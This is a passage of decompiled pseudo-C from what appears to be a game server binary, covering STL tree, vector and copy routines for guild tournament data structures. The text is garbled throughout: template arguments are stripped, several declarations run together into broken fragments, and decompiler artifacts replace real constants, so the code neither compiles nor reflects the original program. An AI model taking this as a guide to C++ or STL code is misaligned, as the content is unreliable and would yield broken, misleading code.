0; std::_Tree_std::allocator>_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004569B0) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 69) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 69) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 69) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 69) ) v10 = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator= 0x10u ) operator delete(*(void **)(v4 + 16)); *(_DWORD *)(v4 + 36) = 15; *(_DWORD *)(v4 + 32) = 0; *(_BYTE *)(v4 + 16) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00456C90) -------------------------------------------------------- int std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node(...) { std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; this->_Myval.first._Myres = 15; this->_Myval.first._Mysize = 0; this->_Myval.first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &this->_Myval.first, &_Val->first, 0, 0xFFFFFFFFu); memcpy(v7 + 28, &_Val->second, 0x1Cu); v6->_Color = _Carg; v6->_Isnil = 0; } //----- (00456CF0) -------------------------------------------------------- GuildTournamentSystem::Gate *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v4; // esi@1 GuildTournamentSystem::Gate *v5; // edi@2 bool v6; // al@3 GuildTournamentSystem::Gate *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].bIsUse; --v4; --v5; v5->bIsUse = v6; v5->hFlagNumber = v4->hFlagNumber; v5->hGateNumber = v4->hGateNumber; std::basic_string_std::allocator>::assign( &v5->strunUseGateName, &v4->strunUseGateName, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( &v5->strUseGateName, &v4->strUseGateName, 0, 0xFFFFFFFFu); } while ( v4 != _First ); result = v5; } return result; } //----- (00456D50) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v4; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // edi@2 int v6; // eax@3 GuildTournamentSystem::AdvanMobItemRegenInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = *(_DWORD *)&v4[-1].mapName.n3_name[0]; --v4; --v5; *(_DWORD *)&v5->mapName.n3_name[0] = v6; *(_DWORD *)&v5->mapName.n3_name[4] = *(_DWORD *)&v4->mapName.n3_name[4]; *(_DWORD *)&v5->mapName.n3_name[8] = *(_DWORD *)&v4->mapName.n3_name[8]; std::basic_string_std::allocator>::assign( &v5->strGroupName, &v4->strGroupName, 0, 0xFFFFFFFFu); v5->AdvanIndex = v4->AdvanIndex; } while ( v4 != _First ); result = v5; } return result; } //----- (00456DB0) -------------------------------------------------------- GuildTournamentSystem::Gate *__cdecl std::_Uninit_copy>(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v5; // esi@1 GuildTournamentSystem::Gate *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::Gate *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) GuildTournamentSystem::Gate::Gate(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00456E90) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Dest; v10 = &v8; _Next = _Dest; v11 = 0; while ( v5 != _Last ) { std::_Construct(v6, v5); ++v6; ++v5; } return v6; } //----- (00456F40) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { GuildTournamentSystem::GuildMemberInfo *v2; // edi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran((std::vector > *)this); return &v2[_Pos]; } //----- (00456F80) -------------------------------------------------------- TickTimer *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { TickTimer *v2; // esi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran((std::vector > *)this); return &v2[_Pos]; } //----- (00456FC0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { GuildTournamentSystem::FlagInfo *v2; // esi@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran(this); return &v2[_Pos]; } //----- (00457000) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x7FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(2 * _Capacity); v2->_Myend = (unsigned __int16 *)((char *)v4 + 2 * _Capacity); v2->_Myfirst = (unsigned __int16 *)v4; v2->_Mylast = (unsigned __int16 *)v4; result = 1; } else { result = 0; } return result; } //----- (00457050) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Isnil; v2 = i ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00457090) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val) { std::vector > *v4; // ebx@1 GuildTournamentSystem::GuildMemberInfo *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ecx@15 int v12; // eax@18 int v13; // edi@22 GuildTournamentSystem::GuildMemberInfo *v14; // ST14_4@22 int v15; // eax@22 int v16; // esi@24 GuildTournamentSystem::GuildMemberInfo *v17; // ecx@27 std::vector >::iterator v18; // edi@27 signed int v19; // edx@27 unsigned int v20; // ST24_4@28 GuildTournamentSystem::GuildMemberInfo *v21; // ST20_4@28 unsigned int v22; // edx@28 int v23; // [sp+0h] [bp-38h]@1 GuildTournamentSystem::GuildMemberInfo _Tmp; // [sp+Ch] [bp-2Ch]@1 int *v25; // [sp+28h] [bp-10h]@1 int v26; // [sp+34h] [bp-4h]@22 GuildTournamentSystem::GuildMemberInfo *_Wherea; // [sp+40h] [bp+8h]@29 GuildTournamentSystem::GuildMemberInfo *_Ptr; // [sp+44h] [bp+Ch]@22 void *_Newvec; // [sp+48h] [bp+10h]@22 GuildTournamentSystem::GuildMemberInfo *_Newveca; // [sp+48h] [bp+10h]@27 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v25 = &v23; if ( v5 ) { v7 = (signed int)((char *)this->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v4->_Myfirst; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1835].gapf2b8[-v9 + 3945] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v4->_Myfirst ) v10 = v4->_Mylast - v4->_Myfirst; else v10 = 0; if ( v6 >= _Count + v10 ) { v17 = v4->_Mylast; v18 = _Where; v19 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 4; _Newveca = v4->_Mylast; if ( v19 + ((unsigned int)v19 >> 31) >= _Count ) { _Wherea = &v17[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v17[-_Count], v17, v17, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v17 - 28 * _Count)); std::copy_backward( *(GuildTournamentSystem::GuildMemberInfo **)&v18, _Wherea, _Newveca); std::fill( *(GuildTournamentSystem::GuildMemberInfo **)&v18, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&v18 + 28 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, v17, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&_Where + 28 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(28 * _Count)); v20 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 28; v21 = v4->_Mylast; v26 = 2; std::vector>::_Ufill( v4, v21, v20, &_Tmp); v22 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::GuildMemberInfo *)v22; std::fill( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, (GuildTournamentSystem::GuildMemberInfo *)(v22 - 28 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1835].gapf2b8[-(v6 >> 1) + 3945] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size((std::vector,std::allocator >,std::allocator,std::allocator > > > *)v4); v13 = 28 * v11; _Newvec = operator new(28 * v11); v14 = v4->_Myfirst; v26 = 0; _Ptr = std::_Uninit_copy>( v14, *(GuildTournamentSystem::GuildMemberInfo **)&_Where, (GuildTournamentSystem::GuildMemberInfo *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(GuildTournamentSystem::GuildMemberInfo **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 28; v16 = v15 + v8; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (GuildTournamentSystem::GuildMemberInfo *)((char *)_Newvec + v13); v4->_Mylast = (GuildTournamentSystem::GuildMemberInfo *)((char *)_Newvec + 28 * v16); v4->_Myfirst = (GuildTournamentSystem::GuildMemberInfo *)_Newvec; } } } //----- (00457360) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned __int16 *_Val) { std::vector > *v4; // esi@1 unsigned __int16 *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 unsigned __int16 *v16; // eax@25 unsigned __int16 *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 unsigned __int16 *v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const unsigned __int16 *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 2147483647 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 1; v23 = 2 * _Count; _Wherea = 2 * _Count; if ( v22 >= _Count ) { v25 = (unsigned __int16 *)(v20 - v23); v4->_Mylast = (unsigned __int16 *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward(*(unsigned __int16 **)&v21, v25, (unsigned __int16 *)v20); std::fill( *(unsigned __int16 **)&v21, (unsigned __int16 *)(*(_DWORD *)&v21 + _Wherea), (const unsigned __int16 *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( v4, v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 1), (const unsigned __int16 *)&_Val); v24 = (int)&v4->_Mylast[_Wherea / 2]; v4->_Mylast = (unsigned __int16 *)v24; std::fill( *(unsigned __int16 **)&v21, (unsigned __int16 *)(v24 - _Wherea), (const unsigned __int16 *)&_Val); } } else { if ( 2147483647 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 2 * v10; v13 = operator new(2 * v10); v14 = 2 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 1); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( v4, (unsigned __int16 *)(v14 + v15), v7, (const unsigned __int16 *)&_Val); memmove((char *)v16, *(char **)&_Where, 2 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 1)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (unsigned __int16 *)((char *)_Newvec + _Counta); v4->_Mylast = (unsigned __int16 *)((char *)_Newvec + 2 * v19); v4->_Myfirst = (unsigned __int16 *)_Newvec; } } } //----- (00457530) -------------------------------------------------------- std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val) { std::pair *v3; // ebp@1 std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 std::pair *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator >,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->first; do { v7 = v8 < v6->_Myval.first; v5 = v6; _Addleft = v8 < v6->_Myval.first; if ( v8 >= v6->_Myval.first ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (std::pair *)v5; _Val = (std::pair *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[1].second >= v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (004575F0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (004576B0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TickTimer *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 TickTimer *v7; // ebx@1 int v8; // eax@1 unsigned int v9; // ecx@2 signed int v10; // edx@3 unsigned int v11; // edi@4 int v12; // eax@6 int v13; // eax@11 int v14; // ecx@15 int v15; // eax@18 int v16; // ebx@22 TickTimer *v17; // ST18_4@22 int v18; // eax@22 int v19; // edi@24 TickTimer *v20; // ecx@27 std::vector >::iterator v21; // ebx@27 TickTimer *v22; // ecx@28 TickTimer *v23; // ST24_4@28 unsigned int v24; // edi@28 int v25; // [sp+0h] [bp-28h]@1 unsigned int _Tmp; // [sp+Ch] [bp-1Ch]@1 unsigned int v27; // [sp+10h] [bp-18h]@1 int v28; // [sp+14h] [bp-14h]@1 int *v29; // [sp+18h] 